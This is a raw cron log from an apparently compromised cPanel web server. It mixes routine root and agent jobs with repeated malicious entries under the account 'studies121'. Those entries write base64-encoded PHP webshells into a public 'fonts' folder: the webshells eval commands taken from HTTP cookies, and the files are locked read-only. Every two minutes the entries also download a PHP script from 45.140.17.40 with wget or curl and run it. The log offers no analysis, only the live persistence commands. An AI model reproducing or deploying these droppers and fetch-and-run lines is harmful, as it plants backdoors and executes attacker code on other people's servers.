Aug 30 21:22:01 ip-184-168-122-23 CROND[11345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:22:01 ip-184-168-122-23 CROND[11348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:22:01 ip-184-168-122-23 CROND[11347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:22:01 ip-184-168-122-23 CROND[11346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:23:01 ip-184-168-122-23 CROND[11432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:23:01 ip-184-168-122-23 CROND[11433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:23:01 ip-184-168-122-23 CROND[11434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:23:01 ip-184-168-122-23 CROND[11435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:24:01 ip-184-168-122-23 CROND[11610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:24:01 ip-184-168-122-23 CROND[11612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:24:01 ip-184-168-122-23 CROND[11614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:24:01 ip-184-168-122-23 CROND[11613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:24:01 ip-184-168-122-23 CROND[11615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:25:01 ip-184-168-122-23 CROND[11707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:25:01 ip-184-168-122-23 CROND[11706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:25:01 ip-184-168-122-23 CROND[11708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:25:01 ip-184-168-122-23 CROND[11711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:25:01 ip-184-168-122-23 CROND[11714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:25:01 ip-184-168-122-23 CROND[11712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:26:01 ip-184-168-122-23 CROND[11794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:26:01 ip-184-168-122-23 CROND[11799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:26:01 ip-184-168-122-23 CROND[11798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:26:01 ip-184-168-122-23 CROND[11797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:26:01 ip-184-168-122-23 CROND[11800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:27:01 ip-184-168-122-23 CROND[11896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:27:01 ip-184-168-122-23 CROND[11900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:27:01 ip-184-168-122-23 CROND[11899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:27:01 ip-184-168-122-23 CROND[11898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:28:01 ip-184-168-122-23 CROND[11983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:28:01 ip-184-168-122-23 CROND[11985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:28:01 ip-184-168-122-23 CROND[11987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:28:01 ip-184-168-122-23 CROND[11986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:28:01 ip-184-168-122-23 CROND[11988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:29:01 ip-184-168-122-23 CROND[12079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:29:01 ip-184-168-122-23 CROND[12081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:29:01 ip-184-168-122-23 CROND[12084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:29:01 ip-184-168-122-23 CROND[12083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:30:02 ip-184-168-122-23 CROND[12246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:30:02 ip-184-168-122-23 CROND[12248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:30:02 ip-184-168-122-23 CROND[12252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:30:02 ip-184-168-122-23 CROND[12251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:30:02 ip-184-168-122-23 CROND[12253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:30:02 ip-184-168-122-23 CROND[12254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:30:02 ip-184-168-122-23 CROND[12255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:30:02 ip-184-168-122-23 CROND[12250]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:31:01 ip-184-168-122-23 CROND[12355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:31:01 ip-184-168-122-23 CROND[12356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:31:01 ip-184-168-122-23 CROND[12357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:31:01 ip-184-168-122-23 CROND[12358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:31:01 ip-184-168-122-23 CROND[12361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:32:01 ip-184-168-122-23 CROND[12452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:32:01 ip-184-168-122-23 CROND[12454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:32:01 ip-184-168-122-23 CROND[12457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:32:01 ip-184-168-122-23 CROND[12455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:32:01 ip-184-168-122-23 CROND[12456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:33:01 ip-184-168-122-23 CROND[12535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:33:01 ip-184-168-122-23 CROND[12537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:33:01 ip-184-168-122-23 CROND[12539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:33:01 ip-184-168-122-23 CROND[12540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:34:01 ip-184-168-122-23 CROND[12617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:34:01 ip-184-168-122-23 CROND[12619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:34:01 ip-184-168-122-23 CROND[12618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
